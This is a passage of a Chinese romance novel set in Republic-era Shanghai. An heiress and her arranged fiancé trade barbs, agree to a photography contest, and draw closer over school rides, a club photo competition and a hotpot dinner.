凌栖珵望着自己的碗里的菜,唇角勾了勾,“那就谢谢杭小姐盛情。”
说着,拿起筷子面不改色地吃起来。
面对凌栖珵的从容,杭景妍举了几次筷子,挑了挑碗里的菜,艰难吃下去。
对于晚上不怎么吃东西的她,这菜量真是难为她了。
杭家二老爷和夫人看着两人相处,暗暗对了一眼。又看了一眼女儿,杭景环正低着头努力跟自己碗里饭过不去。
本来他们以为杭景妍天不怕地不怕的性格一定会得罪凌家大少爷,到时自己女儿肯定会更出彩,没想女儿那么没出息,几个回合下来就败下阵来。
一顿饭吃了半个时辰,终于结束了。杭老爷本来还想挽留,无奈栖珵还有公事不便不再久留。
杭老爷只好安排了女儿送他出去。
在父母面前演了好一顿和谐友爱的画面,现在杭景妍想着赶快把这尊神送走,她的耐心快耗尽了。
吃了一大碗糖醋龙虾,糖醋排骨,她嗓子腻的很,急需水分。
她疾步向前走着,偏偏凌栖珵悠闲着逛着园子,脚步不紧不慢,气的她频频回头瞪他
凌栖珵也不恼,俊逸的容颜上,嘴角忍不住勾了勾,生了一丝逗弄她的心思。他停下
脚步道:“你刚刚是吃醋吗?”
杭景妍意想不到他会怎么问,楞了楞,收不及脚步撞上了面前的胸膛。
眼见她往后倒去,凌栖珵眼疾手快伸手揽过她的腰。
宽大的手掌下,是不盈一握的细软腰肢。柔滑细腻的触感透过肌肤传递,女子身上的幽香扑面而来。搅乱着他的心。
夜晚朦胧灯光下,两人无声对视着。
这是杭景妍在今天第二次那么近距离凝视他的眼,眼神深邃,宛若深潭,让人移不开眼
“怎么?杭小姐这是承认了。”凌栖珵薄唇微启,在她耳边吐气如兰。
杭景妍的脸颊顿时如火烧般彤红,心跳加速,四肢酥麻,急忙推开他,退后几步,“承认什么?你要喜欢谁关我什么事。”
凌栖珵也没恼,直起身来,凝视杭景妍微红的脸颊,勾了勾唇角,往前走去。
绕过了假山,路过一处小院子时,凌栖珵望见了外面摆着的画。
他脚步放缓:“这画倒是别有风格,不乏清幽淡雅的意境。
凌栖珵回首:“你画的。”
这回轮到杭景妍不好意思了。
忽然被夸奖,她的小脸泛起了微红,如娇艳的粉玫瑰。
杭景妍道:“随意画画。”
两人正准备离开小院,只见一阵风吹过,一张照片吹到了凌栖珵的脚下。
照片中几个正值青春的少女,在广阔的草坪中嬉闹,后头的少女拿着画笔在追,前头的少女回首娇笑。
画面定格在少女那回眸一笑中,娇艳如初春绽放的花朵,温暖的笑容能融化雪山千年不化的寒冰。
人物神韵抓拍的恰到好处。
凌栖珵低头捡起了这张照片,细细端详。
“这摄影师抓拍的不错,有意态,有神韵。
杭景妍像被偷窥到了秘密,赶忙从他手中把照片抢了过去。
手中照片突然被抢走,凌栖珵愣了愣,他反应过来道:“这是你拍的?”
杭景妍:“是又怎样,不是又怎样。”
凌栖珵有点惊讶,她的摄影技术是那么好。难得遇到同好,他也起了兴趣。
他对杭景妍笑了笑,“这样吧,杭小姐,看你也是个热爱艺术的人,我们来一个摄影比赛。如果你赢了我,那么我俩的婚事取消。如果你输了,那么你按照婚约嫁给我。”
杭景妍一听还有这等好事,冷笑道,“好,一言为定,你输定了。”
她自信在摄影方面的才华少有人及。
凌栖珵应道:“那好,日子就定在一个月以后,杭小姐好好准备吧。”
两人行至大门,凌栖珵转身道别:“杭小姐留步,我告辞了。”
杭景妍在丫鬟的陪伴下目送他上车。
凌栖珵在上车前,他又看到她刚刚不小心撞到的脚踝,“杭小姐既然觉得我没有怜悯之心,欺负了你,那我展现下我的怜悯之心,在你脚伤好之前由我来负责送你上学。”
起,扯出个虚假笑容:“多谢大少爷好意,我家有车,就不劳你费心了。”
开玩笑,让他缠上来还得了,阴魂不散。
“从你被我的车碰上,就说明你的司机不称职,作为你未来的丈夫,要时刻替你着想,这事就这么定了,明天见。”他关上车门,挥了挥手,车子发动,离去
杭景妍来不及说什么,就见他的车已经远去。
只闻汽车尾气的余味环绕。
她简直更生气了,没退成婚,还被他得寸进尺。
4. 第 4 章
想到刚刚凌栖珵说的比赛,杭景妍燃起了新希望,送走了他凌栖珵后,她就去了自己摆放画册和照片的小院。
青色的砖墙砌起的小院里,墙上爬满了绿意,爬山虎和牵牛花争相开放,在一片生机盎然下,紫色小花点缀其中,风一吹,随风摇曳,带来丝缕花香。
旷阔的院中摆放着的是一幅幅画册,和一排排照片。杭景妍走过院子,走进屋檐下,推开精雕细琢般的木门,她走了进去。
里面是一个冲洗交卷的暗房,房内有冲洗出挂在架上的,也有些没用冲洗出来的。
杭景妍一排排地看着自己冲洗出来的照片,想想她还有一丝不用联姻的希望就忍不住兴奋。
她还可以实现她的梦想,不被豪门规矩束缚,走遍祖国的大好山河,用相机记录壮美的河山,靓丽的风景。更可以去国外享受西方的浪漫奢华的气息,感受他们的人文,并用相机记录下自己的见闻。
思及此,杭景妍不顾自己脚伤,废寝忘食般把剩下的胶片冲洗出来。
忙活到深夜杭景妍才从房内出来。
绮绿一直等在外面,看见小姐出来,赶忙上来搀扶,生怕她一个不注意跌倒。
杭景妍在绮绿的搀扶下走着,主仆两人一路有说有笑,不曾想在这半夜还能见到不想见之人,两人顿时止住了上前的脚步。
杭静环一身素白立在九曲廊桥上,如遗世独立翩然仙人之姿。杭景妍没想到那么晚了她还在这里喂鱼。要说她有什么闲情雅兴她是万万不信。
她走上前道:“妹妹深夜在此,想必是找我有事?”
杭景环慢条斯理地丢鱼饵,直至鱼饵喂完才道:“姐姐真是冰雪聪明,什么都瞒不过你的眼睛。”
杭景妍翻了个白眼,“说吧。”
杭景环拍了拍掌心的碎屑,“我知道姐姐一心想要成为一流的摄影师,如若嫁进凌家,姐姐的梦想将化为泡影。这肯定不是你想看到的。”
杭景妍轻蔑一笑:“难得妹妹这么了解我。”
杭景环转身严肃道:“所以,姐姐何妨成全我,这样你既不用嫁过去,又能完成两家联姻。”
杭景环一番话点醒了她,如果凌家注定要与杭家联姻,堂妹嫁过去的确可以让她躲过一劫。
既然是各取所需,她无所谓做一个顺水人情。
她笑了笑:“既然妹妹有此愿望,我这个做姐姐的怎么可能不帮忙呢。你放心就是。”
杭景环福身一拜:“妹妹谢姐姐成全。”
杭景妍伸手扶起她道:“别高兴的太早,这事不是我说的算。”
杭景环望着夜色下的荷花池,仿佛胜券在握般道:“相信有姐姐的帮忙,一定事半功倍。”
杭景妍已经不想和她多聊,绕过她,径直往前去,“那就祝妹妹好运。更深露重,妹妹回吧。”
周一,晨曦微光洒落女子闺房,此时的杭景妍仍盖着被子睡得香甜。
屋外敲门声不绝于耳,杭景妍拉起被子盖住头转了个身继续睡去。
绮绿在门外焦急着敲着门,“小姐,醒醒,凌少爷的车已经在屋外等着了。
眼见杭景妍还没有动静,她推开了房门,屋内杭景妍还在闷头睡觉。
绮绿真是不知道说什么好。
她走到窗边拉开了窗帘,阳光大面积散射进来。
杭景妍无路可躲,终于不情愿地坐了起来。
她双眼微睁道:“你糊涂啦,你忘记昨天杭景环来说了什么吗?”
绮绿终于想起了昨晚两位小姐的谈话,原来大小姐不是随便说说。
“那么凌少爷大小姐你真的准备让给二小姐了。”
“又不是什么香馍馍,她想要给她好了。你去告诉她一声,凌栖珵来了,让她过去吧。凌栖珵要是问起就说我请假了。”杭景妍拉了拉被子又躺下了。
绮绿只好照吩咐去做。
杭府门外,一辆黑色小车掩映在梧桐树下。
凌栖珵坐在车里一页页翻着早报耐心地等待着。
只见一丫鬟模样的人小跑至车前,轻敲车窗,他示意车夫降下车窗,丫鬟告知,她们小姐已经请了假,就不劳烦凌大少爷了。
听完了丫鬟的禀告,凌栖珵反而笑了笑,这的确是杭大小姐的风格。她要是乖乖接受安排反倒不是她了。
既然如此,他也不强人所难,收起报纸,吩咐司机开车。
车子刚刚发动,只闻一声呼唤,一位清丽妙曼女子跑出来拦在了车前头,吓的司机一个急刹车,停了下来。
凌栖珵也被急刹车晃了晃,等他坐直一看,是杭二小姐。
他有些不悦,怎么杭家的小姐都喜欢望人家车前跑?
凌栖珵落下车窗,皱眉道:“二小姐这是有事?”
杭景环望着凌栖珵,一双杏眸眼含春水,楚楚可怜道:“凌少爷,我的车子坏了,一时半会又修不好,这眼看要耽误了上学的时辰,恰好姐姐说您的车在门口,看在未来都是一家人的份上,您能不能发发善心捎我一程。”
凌栖珵皱了皱眉,本想拒绝,但好像想到了什么,又松口应允。
杭景环见他应允,兴高采烈地上了车。只是没想到,刚坐下来,凌栖珵就从他那侧下车,对着司机吩咐几句。而后离去。
司机听了吩咐,缓缓开动。
“凌少爷。你去哪儿?”杭景环在车内喊道。但是没人应她,她只能望着凌栖珵的身影直至消失不见。
她没想到,她千方百计和他乘坐同一辆车,结果他就这样把她丢下了。她气恼不已。
一直躲在暗处观察的绮绿见他们都离开了,放下了心,欢快地唱着歌,回到了院子中。
此时,杭景妍也已经起床洗漱完毕,穿上了她的学生装。
绮绿见到她,上前笑着给自己邀功:“小姐,我已经把他们忽悠走了。”
见杭景妍把上学的衣服换上了疑惑道:“小姐,你不是说你请假了吗?”
杭景妍一边往门口走一边道:“傻瓜,那是忽悠那个傻蛋的说辞,我不那么说他能走吗。”
“我去上课啦,你慢慢打扫房间吧。”杭景妍说着挥了挥手,转身离开了小院。
但是,她没想到她的如意算盘能落空的那么快。
在她高兴地哼着歌踏出杭府大门的门槛时,门口出现那一抹挺拔颀长的身影让她瞬时笑不出来。
凌栖珵随意地站着,手扶着一辆自行车,姿态慵懒惬意,就算是一辆破败自行车在他手中,都不减他的清冷高雅的气质。
她走上前,上下打量着这辆车,又打量了一旁的那道修长身影,两边来回看了几个回合。
皱了皱眉,讽刺道:“怎么,凌家破产了?凌少爷代步的车也没了,去哪里弄来了这个玩意。”
凌栖珵恍若不知话中的嘲讽,唇角微勾,手托着腮,双眉微皱,思索道:“我未婚妻喜欢舍己为人,心疼自家妹妹无车可坐,我这个未婚夫又那里敢不听吩咐呢。当然是把自己的车舍给令妹代步了。”
杭景妍被气的翻了几个白眼:“我是叫你送她去,没叫你留下来。”
凌栖珵故做恍然大悟,“原来是这样。可是我对她没有义务,我只对你有义务。我只负责你的一切。”
此时的杭景妍被他一番巧言善辩给整的没了脾气,颓废了下来。
她的这番模样取悦到了凌栖珵,他一把把她提上了车后座,正准备骑上车,她肚子不合时宜地咕噜叫了起来。
凌栖珵顿了顿,意识到她没吃早饭,无奈道:“为了躲我,连早饭都不吃了。”
杭景妍又羞又恼,觉得自己的面子真是丢的一点不剩,气急道:“还不是你,不是你我能不吃早餐吗?还来取笑我。你赔我早
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餐。”
好似习惯了她的无理取闹,他也没生气,宠溺又无奈地笑了笑,他骑上了单车,带她离开了杭府。
路上杭景妍还是忍不住好奇道:“你是怎么知道我会出来?我要是真请假你不是白等了?”
凌栖珵:“在你妹妹出来的那刻,我就知道你打什么算盘了。”
又一次输给他。
阴险小人,真是螳螂捕蝉黄雀在后。
建中路,一排排高大梧桐下掩映着一家开了几十年的老字号,汪记。
现在不到早高峰的时间段却已经门庭若市,队伍已经排出了门外,排了两行。
杭景妍没想到他带她来了这里,虽然她很喜欢这里的蒸饺,但也知道上学时间紧急,这家店又是出了名的难买,是以上学时段都不敢来这吃。
她拉着正准备进店的凌栖珵,“还是算了吧,随便给我买点什么糕点就好,这家店排到我们要等很久。”
凌栖珵望了她一眼,也没解释什么,拍了拍她的手以示安抚:“等我。”
杭景妍眼睁睁看着他挤进长龙般的队伍中,不出五分钟就端着一笼蒸饺走了出来。
“拿着。”凌栖珵拉过她的手把那一笼蒸饺塞进了她手里。
杭景妍望了一眼手中蒸汽腾腾有小巧精致的饺子,又抬头望了一眼几乎没有挪动过的长龙,疑惑的眼神最后落在了凌栖珵身上。
“你用了什么方式,可以插队。”
“全市的汪记都有凌家的注资。”凌栖珵思考了下,坦白道。
“你们凌家果然财大气粗。”杭景妍揶揄着。
“那当然,比你们杭家肯定还是多那么一点。”凌栖珵从善如流道。
杭景妍气急,“你......”。
真想踹这个自大狂一脚,给点颜色就开染房。
凌栖珵恍若不觉她的怒气,骑上单车,“上车。”
杭景妍真想直接这样走掉,她是脑袋被门夹了要上他的车。
凌栖珵气定神闲地坐在单车上,单手插着兜,遥望远方,冷冷道:“你可以选择不走。反正迟到的是你,不是我,我有的是时间慢慢耗。”
最终杭景妍还是选择别为难自己。坐上了车。
她坐在单车后座上,随着车缓缓运动,一丝丝凉风吹起了她的秀发,一排排高大的梧桐在眼前不断地后退,她心情变得晴朗起来,这种从未有过的感觉让她开心地大笑。
“哇,这种秋风拂面的感觉好爽啊!”
车前的凌栖珵转头望着她开心的样子,唇角也不自觉地弯起了弧度。
穿过几条街到了学校,凌栖珵并没有停下,反而骑进了校门,直至她们教学楼前。
他缓缓刹车停了下来。转头看了杭景妍一眼,“脚能走吗?要不要我抱你进去?”
本来他骑着车进来就让杭景妍很紧张,她不想把两人的关系曝光在人前,现在听到他这样说赶忙下车来。
“我自己能走,你昨天送来的药酒效果还不错。就不牢大少爷大驾了。你赶快走吧。被别人看到影响不好。”
她那紧张兮兮,觉得自己见不得光的模样让凌栖珵脸色一沉。
“我很见不得人?”他低头直视着她黑白分明的杏眼,微微上挑的尾音带着一股压迫感。
一步步地逼近她,近的可以闻到彼此呼吸。
杭景妍被他逼着后退了两步,粉白的小脸上透着些微慌乱,她推了推他,强自镇定道:“你觉得有面子吗,堂堂上海滩凌氏实业的继承人大白天骑着个破烂单车瞎晃荡,不知道你的合作伙伴看到你这副样子你的生意还能不能谈成,你还是赶快回去你的豪华轿车去吧。”她说完推了他一把,转身往教室走去。
望着她离去的背影,凌栖珵哑然失笑,无奈地摇了摇头。
真是伶牙俐齿的小姑娘,从不肯退让半步。
5. 第 5 章
正是上学的早高峰,人来人往,前往教室的路上遇到了杭景妍最不想见的人,杭景妍向天翻了个白眼,正准备直接绕开走过去。没想到总是有人没有自知之明。
余知走上前拦住了她的去路:“这不是逃婚没有人逃成的杭大小姐嘛,怎么那是你男朋友?没想到杭大小姐好好的豪门不嫁,偏偏喜欢这类穷小子。”
她刚看见了杭景妍坐了个破单车来,还跟个骑破单车的卿卿我我的,在他们世家小姐圈子里是看不上这类人的,这真是送上门的好机会,看她杭景妍还怎么嚣张。
杭景妍赞同地点点头:“对啊,余大小姐的遭遇真是让我后怕,我可不想因为多买几个包包就被婆婆罚跪。毕竟我钱多的很,没事包养几个小白脸玩玩也比你嫁进去豪门受罪好。”
杭景妍边说边上下打量着她带着惋惜道:你说你,明明钱也不少,偏偏上敢着嫁豪门,图什么?图那黄家老爷年纪大,还是图他不洗澡?”
余知被杭景妍气的涨红了一张脸,却一句话也憋不出。因为这是事实,她不知道她怎么消息那么灵通。
笑人反被嘲笑,余知赶忙灰溜溜地离开了,走之前嘴硬道:“跟这个穷小子,看你能嘴硬到几时。
杭景妍轻蔑一笑,连个多余的眼神都懒得给她,“有空操心别人的事情,还是多操心你家老爷死后你能分多少家产吧。”
名媛小姐圈子很小,有什么风吹草动不出几天整个圈子都知道了,余知嫁给大了自己几轮的黄老爷,沦为豪门世家联姻最失败的典型案例,就这还敢来嘲笑她?自不量力。
杭景妍正准备拐进教室,就见静冉在前头等着自己,她会心一笑,走近拉着静冉的手:“你怎么出来了。”
静冉扯着她的手担忧地望了一眼余知已经走远的背影:“我听到争吵声出来看看。你没事吧?”
杭景妍噗嗤一笑:“我能有什么事,她什么时候是我的对手,每次都上来找骂。”说着她举起了手中的蒸饺:“汪家的饺子,要不要尝尝?”
静冉看到馄饨顿时两眼放光:“你怎么弄到的,他家的东西每次都要排老长的队。”
杭景妍端着饺子,边走边说:“凌栖珵给我的。这玩意是他家投资的,以后你要多少有多少。”
“哇,我这是抱对大腿了,跟着我家妍妍小魔女有肉吃。”静冉兴奋道。
“我明明是貌美小仙女好吧。”杭景妍纠正道。
“是,我家妍妍是天底下最人美心善的仙女。”静冉彩虹屁一流。
两人边走边笑,走进了教室。
下午,结束了一早上的紧张课程,迎来了杭景妍最爱的摄影社团活动。
这个月恰巧是社团成员成果展示交流的展示月。每位成员拿出自己最满意的两张作品上交给社长,届时会集中在上海光大艺术长廊展出。同时展出的还有隔壁光华女中社团的作品,两方进行相互的切磋交流。
一下课,杭景妍就和静冉收拾了东西准备去艺术长廊。
静冉抱着书边走边说:“景妍,你拿出的是什么照片?”
杭景妍回答道:“你知道的,我一直都是静物风景照。”
静冉揶揄道:“凌栖珵那身材那大长腿,你不要他当你的模特可惜了,绝对是最佳风景线。
杭景妍真是对这个拜倒在凌栖珵西装裤下的女人无话可说。
“你那么喜欢他,我把他介绍给你,你要不要?”
静冉像受到了惊吓:“那就算了,这一款还是更适合你。”
“走啦,再不走,迟到了。”
十五分钟后,杭景妍与静冉也到了光大艺术长廊,三楼一整排楼道两遍都挂满了照片,有人物照有静物照有社会纪实照,大家都各显神通把自己擅长的主题都拿了出来。
杭景妍和静冉从左到右一个个的欣赏了一遍。
此时社长出现了,召集大家在大讲堂集合。
等大家集合后,社长说明了来意,要进行不记名投票选出这次摄影展中公认的技术最高之人和光华女中进行一对一评比,到时会有重量级的大师参与评比。
听到这个消息大家都跃跃欲试,希望得到第一名,不仅可以证明自己的实力,更能代表学校去争光。
投票在这个会议室中进行,会议桌上摆满了全社三十位社员的作品,每位成员的作品前都有一个纸箱,每位成员依次进入会议室投票,票数最多的成员获胜。
十五分钟后,成员依次投完票,社长再次召集大家进场见证唱票。
最后的投票统计,杭景妍胜出。
“不可能,她这张照片底下的人影的出现简直就是破坏这整幅构图的意境,显得那么的突兀,如此重大的纰漏,这是摄影师的大忌。”余知在知道自己以一票之差落选后愤愤不平质疑道。
随着她的手指的方向,杭景妍也看到了照片的下方梧桐树下一位男士的身影,暗暗惊讶,她怎么把人照了进去。
但此时此刻她不能露怯,她清了清嗓子,给自己编了一个高大上的理由:“这个人影是我故意为之,这张照片的主题是秋意,树下的男子被笼罩夕阳中,人与景色相容和谐,他很完美的融入了景色中,背影在梧桐落叶下更显萧条寂寞,而景也被衬托的严肃萧杀。是所谓景中有物,景中容情。”
话落,室内想起了一片雷鸣般的掌声。
余知被杭景妍堵得哑口无言。
社长站出来道:“余知,我知道你输了一票心里不服,但是这是大家公选出来的,绝无作弊的可能,杭景妍的作品的确更受大家的喜欢,你还是要以大局为重,无论是选你还是杭景妍,大家都是为了能在接下来与光华的竞赛中获胜。”
余知愤愤不平地坐了下来,“知道了。”
她就不信这明显的构图失误等下能在竞赛中,到时候她就看看杭景妍丢不丢得起这个人。
杭景妍眼见她落败,挑衅地斜睨她一眼。
小样,想跟姐姐斗。
光华女中的人随后也到了艺术长廊,展出了自己社团的参展作品,大家互相鉴赏彼此作品互相交流,两方社团也有关系较好的,都围在一起窃窃私语起来。
杭景妍和静冉一路与相熟的朋友寒暄交流一边欣赏光华女中的参展作品。
她们来到了光华女中评选的第一名的作品前,驻足凝望。
静冉带着惊叹的语气道:“这幅作品不错啊,红叶飘香,看看这意境,景妍你遇到对手了。”
杭景妍也肯定道:“这光影构图,留白的确更有情思。是个高手。”
听到她们两个说话,后背几个女孩在一起窃窃私语道:“看,这就是第一女中刚刚选出来这次参展的第一名,等下要跟我们学校选的第一竞赛。”
另一个女孩不屑道:“她们一中哪里有几个拿得出手的,等下你看吧肯定是我们赢。”
女孩三说:“这次听说会来几个重量级嘉宾评选,谁知道最后是谁赢。”
对于她们几个的话语,杭景妍都表示懒得听,欣赏完照片端着酒杯去了糕点台去吃东西去了。
一下午没吃东西她都要饿死了。
突然她眼位余光瞄见一位熟悉的身影闪过,转过身来却不见了。
她觉得奇怪,凌栖珵来这里干什么,肯定是自己看错了。
等到大家都投完票进入会议室等结果时看到坐在台上的所谓重量级嘉宾,凌栖珵稳坐在台上,杭景妍才知道真是小瞧他了。
果然是哪都有他。
凌栖珵坐在小牛皮沙发上,慵懒地靠入椅背,修长双腿随意交叠,目视着窗外,神情淡漠,骨节分明的手指无意地敲打着沙发扶手。
感觉有人在看他,他转过头来,看见杭景妍与一群学生站在一起,目光带着审视与戒备,及不可查地笑了笑,那双淡漠的眼眸也染上丝丝暖意。
身边的人见状上前攀谈道:“这是这次评比的第一女中的学生,这次展出的作品中他们不乏优秀之作。”
“哦?那我倒要见识见识。”凌栖珵漫不经心的道。<
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几个跟着杭景妍走过去的女生在一起小声讨论着凌栖珵:“哇,那个坐在沙发上的那个男人好帅啊,刚刚还看着我们。不知道是哪家公子,真是帅气死了。”
身后的静冉听着他们的议论笑嘻嘻的看着杭景妍:“你家公子挺抢手。”
杭景妍叹气道:“所以你知道我为什么不愿意嫁了吗,不安全啊”
得了便宜还卖乖,静冉送给了她一个大白眼。
“好了,现在开始统计票数。”团长喊道。
大家都安静了下来。
两团的团长开始互相统计对方的票数。
但意想不到的是两方的计票结果杭景妍低了两票。
只要对方胜出一票就赢了。
杭景妍顿时也是有点紧张。
这时,团长请出了坐在旁边的几位评委。
并且给大家一一介绍。
凌栖珵,凌氏实业的继承人,也是光大艺术长廊的拥有者,上海摄影协会的副主席。
下面的女孩子听到介绍都纷纷窃窃私语起来。
剩下的是海派摄影艺术的大师,张泉。
和实业摄影家李斯廷。
剩下由他们三位投票决定谁得第一。
结果三位都投了杭景妍,杭景妍又是高一票险胜。
一中全部人都高兴起来。
唯独一个人,余知,她的脸比谁都黑。
她站起身道:“我听闻,凌先生与杭小姐有婚约,所以你是否在偏袒你的未婚妻?”
凌栖珵漫不经心地抬眼看了她一眼,“毕竟拍的是我,我总不能说把我照的不好吧”
“哇。”在场众人暗暗吃了一惊。
简直是当场被赛狗粮。
杭景妍故作感动当场跑过去抱住凌栖珵,踮起脚亲了他一口,“亲爱的,你太好了。”
其他名媛圈小姐都一副不屑的表情,一个商业联姻还演上了。
杭景妍转过身去斜睨着她们,眼尾微微上挑带着胜利的宣示。
而后对着其他团员道:“今晚,我请客,去吃火锅,所有人都有份。”
这回双方都欢呼起来。
“余知你要去吗?”杭景妍眨着清澈莹亮的双眼,状似真诚友好的发问。
“你们去吃吧,我还有事就不去了。”说完她就黑着脸出去了。
她的名媛圈小伙伴也跟着她离开。
走之前狠狠地剐了杭景妍一眼。
众人也欢呼着讨论去哪吃,纷纷离开。
剩下的两位大佬也站起来道:“怪不得你刚刚要我们投给这个小女生,原来是未婚妻。”
凌栖珵搂着杭景妍的腰,含笑道:“惭愧,小女生爱玩,只能宠着。”
说着看了她一眼,幽深的双眸微眯,唇角含笑,带着丝宠溺。
杭景妍被他这笑着头皮发麻,觉得丝丝凉意从脚底往上渗,又不能离开,只能硬着头皮僵着脸上的笑。
“哈哈哈,既然这样就不打扰你们小两口了。”两位大佬起身告辞。
凌栖珵与他们一一握手告别:“改日再约。”
等大家都离开了,偌大的室内只剩下他们两个,杭景妍脸上的笑容立马垮了下来,直接离他一米远。
凌栖珵望着她和自己的距离,慢条斯理地从口袋中拿出丝巾,一点一点地擦着脸上的口红印,一步步地靠近,直至把她逼到墙边。
“偷照我的相片,光明正大的利用我,完了还亲了一口,现在就卸磨杀驴了?”
杭景妍被他困在墙角,瑟缩着脖子,一双清澈大眼眨啊眨,左看看右看看,此时独属于男性的淡淡麝香味若有似无地充斥着她周围着空气,让她快要窒息。
她大脑快速转动:“要不,我把这张有着您伟岸的背影的照片送给您,让它挂在您的床前让你日日瞻仰,如何?”
“这点东西怎么够我的精神损失呢,除非加上利息。”
凌栖珵微笑着,弯下头来,精准地吻上了她的唇。
6. 第 6 章
楼下,静冉见杭景妍下来,上前拉着她的手,谈论着哪家火锅店好吃。
见她老半天没有反应,狐疑地盯着她。
只见杭景妍脸红红的,一双樱唇粉嫩晶莹,细看之下还有些微肿。
她偷笑道:“你们刚刚有没有发生什么不可告人的事?”
杭景妍想起刚刚那个吻,带着微凉的触感,下意识摸了摸自己的唇,唇上如被火炙烤般灼热,脸更红了。
“你个小妮子,你的大脑在想什么呢,满脑子黄色废料。”杭景妍说着就伸手去绕她痒痒。
静冉受不了痒,连连躲避,告饶道:“我不说了,我错了,我什么都没有看到。”
身后,凌栖珵也走了下来,一身黑色西装,优雅矜贵,丰神俊朗,手插着口袋,在他们身后悠缓地走着,看着她们笑闹。夕阳拉长了他的身影,更显高大修长。
不远处,司机开着车在缓缓跟着。
一刻钟后,几人站在了火锅店前,与几十位团友们会和。
几十个看着跟来的凌栖珵面面相觑。
杭景妍也有点尴尬,清了清嗓子道:“他是来负责买单的,你们放心吃。”
众人一窝蜂的涌进了店里。
凌栖珵上前跟上她,笑道:“你可真是不客气。”
杭景妍:“那当然啦,送上门的,不宰白不宰。”
文香苑,上海滩最地道的京派火锅只有他家能做出。
一众人,选了个大的包厢,环境清幽雅致。
胆子小的女孩子都选择了较远的位子,落座后偷偷瞄一眼坐在主位上的凌栖珵。
剩下那些巴不得看不见杭景妍的,坐到了角落位置。
胆子大的落座在杭景妍身旁,她们坐下后,都开始打趣起他们来。
杭景妍和凌栖珵坐在主座,她对身边人的调侃也不做回应,也不望旁边的男人一眼,眼睛直勾勾地盯着火锅里的水,只觉得背后有一道眼神烧灼着自己的后背。
坐在杭景妍左边的女生见她这样调侃道:“景妍是不是害羞了,脸都红了。”
凌栖珵手放在唇边轻咳了声,清了清嗓子,嘴角带笑,未置一语,温润眼神笼罩着她.
杭景妍偷偷抚摸了自己脸颊,没热没红,她告诉自己,就是第一次被别人当猴子一样围观有点心虚害羞,放松心态。
来来,碰一个杯,恭喜景妍为我们打败了对手,一位起哄的女同学拿起身边的杯子道。
杭景妍站起来对着众人:“谢谢各位的支持,我才能打败对手。”
其他人都拿起了酒杯相碰,其他几位名媛圈的同学动都未动,她们对杭景妍出风头都极度嫉妒,暗暗白了一眼,并不想搭理,但见其他人都举了杯只有不情不愿拿起杯子意思一下。
众人举杯相碰,喝了杯中的果汁。
这时,配菜也由服务员端了上来,大家一起开动。
凌栖珵,倒没怎么吃,只是时不时地替杭景妍夹菜,放进她身前的碟子里。
有几个爱好摄影的女孩子女孩子借机搭话问各种摄影方面的问题,凌栖珵也一一解答了。
杭景妍坐在一边自顾自吃的,纯粹当身边人是一个没有感情的付钱机器,听着他和各类女孩子问答。
突然,有个女孩子望着他殷勤伺候着未婚妻带着一脸羡慕地问凌栖珵,
最喜欢未婚妻什么?
突然被问道着问题,让他楞了一下。
杭景妍也回头望了一眼,好奇他怎么回答。
凌栖珵温柔地搂着杭景妍道:“最喜欢她,直率,善良,真诚,虽然有时候看起来很天真,却有一颗诚挚的心。”
咳,咳,杭景妍锤了锤胸口,赶忙端起水杯灌了一大口水,把呛到的食物咽下去。
她偷偷瞄了他一眼,这人简直了,吹牛不打草稿,深情人设说来就来。
见她呛着了,凌栖珵拍了拍她的背顺气,“怎么那么不小心。”
名媛圈内的几个女孩子暗暗白了他们一眼。
真会演戏。
其他女孩子倒是一脸羡慕。
杭景妍也暗暗白了一眼,这人怎么演上瘾了。
酒过三巡,夜已深,只剩路灯寂静地站立在树荫下,默默地散发着自己的能量,照亮夜归的旅人。
杭景妍喝的半醉被凌栖珵扶着上了车。
汽车急驰在夜晚的道路上,林荫遮目。
杭景妍就这样趴在车窗内望着一排排树木在眼前划过,灌进窗内的凉风消散了些她的醉意。
被吹的有一瞬的头脑清醒,她转过头来凝视着在车内闭幕养神的凌栖珵。
此时的他不若早上一般西装革履,一丝不苟,最顶上的两颗纽扣被他解开,露出胸口小麦色的皮肤,外套脱了下来扔在一边,袖口随意地卷起卡在线条修长的小臂上,整个人透着慵懒性感。
杭景妍趴过去近距离地盯着他英俊标致的五官看。
心想,这人总是很善于用他的五官迷惑女人。
她用手臂捅了捅他:“凌栖珵,你今天是故意的吧?故意在别人面前公开我们的关系,我就没有反悔的机会了是吧。”
“你这倒打一耙的本事,我可算是见识了,我帮了你一把,还被你诬陷别有居心。”
杭景妍靠入座椅,双手交叉在胸前,哼了声,讽刺道:“毕竟像你这样的人做什么都是有目的的,刚刚强吻我可是你。”
思及此,她又有些愤怒,睁着那双朦胧醉眼盯着他。
凌栖珵笑了笑,也不继续辩解,“就算我是别有目的,也是你自己掉入了我的掌心,我就算能掐会算也不知道你们会到我的地盘来。”
他继续道:“是你给了我机会,别怪我利用机会,没有我,你今天未必能收场。再说了,我两可是有婚约的,怎么能算强吻呢”
杭景妍被堵得哑口无言,毕竟今天算是他帮了她一把。
她皮笑肉不笑地一字一句:“一码归一码,那就谢谢凌公子仗义相助。”说着愤愤不平转过脸去,不再看他。
凌栖珵看她生气的小脸圆鼓鼓的,像只河豚,只觉得可爱,顿觉今天一天的疲累心情一扫而空。
他宛若不见她那副模样,从善如流道:“不用那么客气,毕竟你是我未来妻子,丢你的脸就是丢我的脸。”
杭景妍不觉他的注目,只望着窗外的风景,否认:“别高兴的那么早,等比赢了我再说。”
凌栖珵又闭上了双眼,靠入座椅:“以你这技术,十年内都别想比过我了。”
车子稳稳停在了杭家庭院前,杭景妍打开车门下了车,对着车内的凌栖珵道:“咱们走着瞧。”
凌栖珵想起了什么,睁开双眼坐起身,手扶着车窗说:“光大艺术长廊是我买下的,平时都会有些艺术展,有时间去逛逛可以学到点东西。”
杭景妍眼角微微上挑笑了笑:“你这个算是强吻我的回报吗?”
凌栖珵低头微哂:“不是,我只是觉得和我比你太菜,不想你到时候输的太难看而已。”
这人真是有气死人不偿命的本事。
杭景妍深呼气了几口气,压下自己的愤怒:“我们走着瞧。”剐了他一眼刀,转身进了家门。
凌栖珵目视着她进了家门,笑了笑,收回了目光,吩咐司机离去。
杭府内,
杭景妍穿过抄手游廊回了自己院子,院内自己养的大橘猫立马跑过来迎接,又蹦又跳地。
她欣喜地抱起大橘猫,手上敦实的重量快要把她手臂压弯,伸手撸了撸它的脑袋:“橘气球,你又胖了了,你可不能再吃了,再吃我都抱不动你了。”
“瞄。”橘气球抗议地叫了一声,就从她身上跳下来跑远了。
绮绿听到小姐的声音连忙走到院子:“小姐,你回来啦。”
说着走上前,接过了杭景妍的书包。
